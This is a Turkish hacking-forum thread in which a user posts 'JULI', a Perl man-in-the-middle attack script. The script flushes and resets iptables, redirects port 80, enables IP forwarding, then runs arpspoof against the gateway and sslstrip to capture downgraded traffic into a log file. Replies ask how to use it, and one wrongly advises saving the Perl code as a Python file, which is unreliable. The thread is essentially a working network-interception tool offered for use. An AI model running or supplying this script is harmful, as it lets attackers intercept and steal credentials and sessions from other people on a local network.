Man-in-the-middle Attack Script

'Tool' forumunda KaliBot tarafından 22 Şubat 2016 tarihinde açılan konu

  1. KaliBot

    KaliBot Albay

    Katılım:
    30 Haziran 2015
    Mesaj:
    573
    Beğeniler:
    65
    Ödül Puanları:
    12
    Web Sitesi:

    Kod:
    #!usr/bin/perl
    use Term::ANSIColor;
    ############################################################################
    print "**************************************************************\n";  #
    print "+ -==                        JULI                        ==- +\n";  #
    print "+ -==          Man-in-the-middle  Attack Script          ==- +\n";  #
    print "+ -== By em616 , em(at)em616.com , http://em616.github.io ==- +\n";  #
    print "**************************************************************\n";  #
    ############################################################################
    
    # Cleaning stuff
    system "killall -9 sslstrip arpspoof:";
    system "echo '0' > /proc/sys/net/ipv4/ip_forward";
    system "iptables --table nat --flush";
    system "iptables --flush";
    system "iptables --delete-chain";
    system "iptables --table nat --delete-chain";
    
    #Making a Firewall, setting iptables roule to redirect port 80 to 5254
    print color("bold red"), "Setting up the iptables rule\n", color("reset");
    print color("bold red"), ". . ..\n", color("reset");
    system "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5254";
    #Port Fawarding
    print color("bold red"), "Setting up port fawarding on our box\n", color("reset");
    system "echo '1' > /proc/sys/net/ipv4/ip_forward";
    ## Arpspoof Script, must specify your interface and router IP
    if ($#ARGV < 0) {
        print q{
    Enter your interface and router ip, Ex:
    en@em616:~$ perl juli.pl wlan0 192.168.0.1
    };
        exit;
    } elsif ($#ARGV < 1) {
        print "You have not provided all of the arguments required\n";
        print color("bold green"), "perl juli.pl wlan0 192.168.0.1\n", color("reset");
        exit;
    }
    
    $interface = $ARGV[0];
    $getway = $ARGV[1];
    print color("bold red"), "Starting arpsoof on interface: $interface ip: $getway \n", color("reset");
    system "arpspoof -i $interface $getway &  sslstrip -a -k -l 5254 -w Juliscript.log";
    print "Script stoped by you , check Juliscript.log if we found anything \n"
    # LineAL ;)
    
    
    # siph0n [2015-04-28]
     
  2. DUMBAS

    DUMBAS Yarbay

    Katılım:
    12 Ocak 2016
    Mesaj:
    181
    Beğeniler:
    0
    Ödül Puanları:
    16
    Şehir:
    Belirtilmemiş
    merhaba böyle şeyler paylastıgınızda ne işe yaradıgını ve nasıl kullanıldıgını yazarsanaız çok güzel olur bana göre suan anlayamıyorum
     
  3. h4ck-3r

    h4ck-3r Member

    Katılım:
    7 Şubat 2016
    Mesaj:
    85
    Beğeniler:
    1
    Ödül Puanları:
    8
    Notepad++ programını indirip aç verilen kodları yapıştır farklı kaydederken Python file olanı seç ve kaydet ;) [​IMG]
     

Bu Sayfayı Paylaş

Share